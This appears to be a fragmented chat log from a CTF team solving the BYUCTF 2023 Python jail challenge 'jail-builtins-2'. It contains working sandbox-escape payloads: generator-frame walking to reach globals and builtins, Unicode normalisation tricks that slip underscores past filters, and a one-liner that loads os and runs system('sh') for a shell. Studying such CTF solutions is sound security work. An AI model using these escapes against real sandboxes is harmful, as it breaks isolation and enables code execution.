Project Sekai
🔒 BYUCTF 2023 / 🩸-jail-builtins-2
(print:=(1 for _ in []))and(print.throw) __s?
1
try:
"legoclonesiswatching"/2
except Exception as e:
tr = e.__traceback__
1gi_yieldfrom???
1
1
1 1
1
1 1 1 1 
for noooo reason at all
for noooo reason at all 
objs=[(await 1 for i in [])]
def recurse(o,depth=0):
print(o)
print(type(o))
if type(o) == int: return
if type(o) == bool: return
if type(o) == str: return
if type(o) == bytes: return
if type(o) == float: return
if depth > 10:
return
keys = set(dir(o))
keys = set(dir(type(o)))
if hasattr(o, "keys"):
try:
keys |= o.keys()
except:
pass
for n in filter(lambda x: "__" not in x, keys):
print(" "*depth,end="--> ")
print(n, end=" ")
try:
if n in o:
recurse(o[n])
else:
recurse(getattr(o,n),depth+1)
except:
recurse(getattr(o,n),depth+1)
for o in objs:
recurse(o) 
2Last but not least, we have three exception fields (f_exc_type, f_exc_value and f_exc_traceback), which are rather particular to generators i found this on a shady corner of the internet 
Well done, you got first blood!
1
2int('𑱖') it gives you 6 ︳
︴
﹍
﹎
﹏
＿ from unicodedata import normalize
for i in range(0x110000):
if "_" in normalize("NFKC", chr(i)):
print(chr(i)) 
1
__file__ would give you the same as __file__ but using one character less... but like two more bytes fi normalises to 2 letters? __file__ would give you the same as __file__ but using one character less... but like two more bytes (f:=(1 for _ in []))and(f.gi_frame.f_back.f_back.f_globals["_""_loader""_""_"].load_module("os").system("sh")) 3.11 is a much happier place 1 1
[*([x.append((x[0].gi_frame.f_back.f_back.f_builtins for _ in[1])) or x[0]for x in[[]]][0])][0] ok the golf begins (x:=[])or(a:=(a.gi_frame.f_back.f_back.f_builtins for a in x))and(x.append(a))or[*a][0]